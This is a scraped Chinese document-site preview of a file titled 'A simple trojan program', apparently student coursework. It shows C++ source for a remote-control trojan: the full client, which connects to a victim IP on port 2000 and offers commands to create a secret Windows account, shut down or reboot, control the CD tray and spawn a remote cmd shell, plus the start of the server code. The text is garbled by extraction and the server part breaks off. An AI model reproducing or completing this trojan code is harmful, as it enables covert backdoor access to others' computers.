一个简单木马程序.docx

一个简单木马程序.docx

ID:60810242

大小:14.21 KB

页数:7页

时间:2020-12-20

一个简单木马程序.docx_第1页
一个简单木马程序.docx_第2页
一个简单木马程序.docx_第3页
一个简单木马程序.docx_第4页
一个简单木马程序.docx_第5页
资源描述:

《一个简单木马程序.docx》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

1、程序清单:Client.cpp//客户端代码Server.cpp//服务器端代码程序代码及说明://Client.cpp文件#include//包含标准输入输出库#include//包含windows套接字函数#includeusingnamespacestd;#pragmacomment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#defineMAXSIZE2048//每次可以接收的最大字节#defineSEND_PORT2000/

2、/与木马程序连接的端口为2000structsockaddr_inClientAddr;//对方的地址端口信息SOCKETsock;//定义套接字变量,为全局变量DWORDstartSock()//建立套接字功能模块{WSADATAWSAData;//将WSAData的数据类型声明为WSADATAif(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本,初始化套接字printf("sockinitfail");return(-1);}sock=sock

3、et(AF_INET,SOCK_STREAM,0);//连接对方return1;}intmain(intargc,char*argv[]){u_intnumbyte;charbuf[MAXSIZE];//传送数据的缓冲区charip[100];cout<<"请输入要连接的IP地址"<>ip;startSock();//调用建立套接字功能函数ClientAddr.sin_family=AF_INET;//协议类型是INETClientAddr.sin_port=htons(SEND_PORT);//连接对方2000

4、端口ClientAddr.sin_addr.s_addr=inet_addr(ip);//连接对方的IP地址connect(sock,(structsockaddr*)&ClientAddr,sizeof(structsockaddr));printf("------------远程控制木马程序菜单-------------r");printf("add--建立Windows系统的秘密帐号r");printf("shutdown--关闭Windows计算机r");printf("reset--重新启动Windows

5、计算机r");printf("close--关闭光驱r");printf("open--打开光驱r");printf("shell--建立cmd进程r");printf("quit--退出系统r");printf("BIT----------gaoping-----------r");while(1){buf[0]='';scanf("%s",buf);//输入控制指令intiLen=strlen(buf);buf[iLen]=0xa;buf[iLen+1]='';//要求控制指令串最后为

6、回车符,以示结束numbyte=send(sock,buf,strlen(buf),0);//发出控制指令if(numbyte==SOCKET_ERROR){closesocket(sock);break;}numbyte=recv(sock,buf,MAXSIZE,0);//接收服务端发来的提示符if(numbyte==SOCKET_ERROR){closesocket(sock);break;}buf[numbyte]='';printf("%s",buf);//显示服务端发来的提示符if(strcmp(buf,"quit"

7、)==0){closesocket(sock);return0;}}return0;}//Server.cpp文件#include//包含windows套接字函数#include//包含标准输入输出函数#include//光驱控制函数mciSendString()所需的头文件#include//包含C++系统输入输出函数#include//包含字符串处理函数usingnamespacestd;#include/

8、/WinExec()函数所需的头文件#pragmacomment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#pragmacomment(lib,"Winmm.lib")//光驱控制函数mciS

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。